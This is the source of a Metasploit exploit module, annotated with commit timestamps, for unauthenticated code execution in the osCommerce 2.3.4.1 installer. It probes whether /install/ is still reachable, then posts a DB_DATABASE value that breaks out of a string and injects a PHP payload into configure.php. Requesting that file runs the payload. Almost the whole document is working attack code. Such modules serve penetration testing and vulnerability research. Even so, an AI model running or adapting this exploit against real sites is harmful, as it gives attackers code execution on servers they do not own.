2018-04-05 20:28:14 +01:00
|
|
|
##
|
|
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2018-04-06 10:40:28 +01:00
|
|
|
Rank = ExcellentRanking
|
2018-04-05 20:28:14 +01:00
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
2018-04-06 10:40:28 +01:00
|
|
|
'Name' => 'osCommerce Installer Unauthenticated Code Execution',
|
2018-04-05 20:28:14 +01:00
|
|
|
'Description' => %q{
|
2018-04-06 13:05:40 +01:00
|
|
|
If the /install/ directory was not removed, it is possible for an unauthenticated
|
|
|
|
|
attacker to run the "install_4.php" script, which will create the configuration
|
|
|
|
|
file for the installation. This allows the attacker to inject PHP code into the
|
|
|
|
|
configuration file and execute it.
|
2018-04-05 20:28:14 +01:00
|
|
|
},
|
|
|
|
|
'Author' => [
|
|
|
|
|
'Simon Scannell', # Original exploit author
|
|
|
|
|
'Daniel Teixeira' # MSF module author
|
|
|
|
|
],
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'References' =>
|
|
|
|
|
[
|
2018-04-06 10:40:28 +01:00
|
|
|
['EDB', '44374'],
|
2018-04-05 20:28:14 +01:00
|
|
|
],
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
|
},
|
|
|
|
|
'Privileged' => false,
|
|
|
|
|
'Platform' => ['php'],
|
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
|
'Targets' =>
|
2018-04-06 13:05:40 +01:00
|
|
|
[
|
|
|
|
|
[ 'osCommerce 2.3.4.1', { } ],
|
|
|
|
|
],
|
2020-10-02 17:38:06 +01:00
|
|
|
'DisclosureDate' => '2018-04-30',
|
2018-04-05 20:28:14 +01:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
register_options(
|
2018-04-06 13:05:40 +01:00
|
|
|
[
|
|
|
|
|
OptString.new('URI', [true, 'The path to the install directory', '/catalog/install/'])
|
|
|
|
|
])
|
2018-04-05 20:28:14 +01:00
|
|
|
end
|
|
|
|
|
|
2018-04-06 10:40:28 +01:00
|
|
|
def check
|
2018-04-06 14:35:33 +01:00
|
|
|
res = send_request_cgi({
|
|
|
|
|
'uri' => normalize_uri(datastore['URI'], 'install.php'),
|
2018-04-06 14:14:11 +01:00
|
|
|
'method' => 'GET'
|
|
|
|
|
})
|
|
|
|
|
|
2018-04-06 14:35:33 +01:00
|
|
|
unless res
|
|
|
|
|
vprint_error 'Connection failed'
|
|
|
|
|
return CheckCode::Unknown
|
|
|
|
|
end
|
|
|
|
|
|
2018-04-06 14:39:45 +01:00
|
|
|
unless res.code == 200 && res.body.include?('osCommerce Website')
|
2018-04-06 14:35:33 +01:00
|
|
|
return CheckCode::Safe
|
2018-04-06 10:40:28 +01:00
|
|
|
end
|
|
|
|
|
|
2018-04-06 15:41:21 +01:00
|
|
|
res = send_request_cgi({
|
|
|
|
|
'uri' => normalize_uri(datastore['URI'], 'index.php'),
|
|
|
|
|
'method' => 'GET'
|
|
|
|
|
})
|
|
|
|
|
|
2018-04-06 17:10:53 +01:00
|
|
|
if res.body.include?('configure.php') && res.body.include?('The following files need to have their file permissions set to world-writeable (chmod 777):')
|
2018-04-06 15:41:21 +01:00
|
|
|
vprint_error 'configure.php is not writable'
|
|
|
|
|
return CheckCode::Safe
|
|
|
|
|
end
|
|
|
|
|
|
2018-04-06 14:35:33 +01:00
|
|
|
CheckCode::Appears
|
2018-04-06 10:40:28 +01:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def trigger
|
|
|
|
|
send_request_cgi({
|
|
|
|
|
'uri' => normalize_uri(datastore['URI'], 'includes/configure.php'),
|
|
|
|
|
'method' => 'GET'
|
|
|
|
|
})
|
2018-04-05 20:28:14 +01:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def exploit
|
2018-04-06 14:35:33 +01:00
|
|
|
unless check == CheckCode::Appears
|
2018-04-06 11:29:29 +01:00
|
|
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
data = {
|
|
|
|
|
'DIR_FS_DOCUMENT_ROOT' => './',
|
|
|
|
|
'DB_DATABASE' => "');#{payload.encoded}/*"
|
|
|
|
|
}
|
2018-04-05 20:28:14 +01:00
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
2018-06-26 08:21:10 -05:00
|
|
|
'uri' => normalize_uri(datastore['URI'], 'install.php'),
|
2018-04-06 11:29:29 +01:00
|
|
|
'method' => 'POST',
|
2018-06-26 08:21:10 -05:00
|
|
|
'vars_get' => {
|
|
|
|
|
'step' => '4'
|
|
|
|
|
},
|
2018-04-06 11:29:29 +01:00
|
|
|
'vars_post' => data
|
|
|
|
|
})
|
2018-04-06 13:05:40 +01:00
|
|
|
trigger
|
2018-04-05 20:28:14 +01:00
|
|
|
end
|
2018-04-06 10:40:28 +01:00
|
|
|
end
|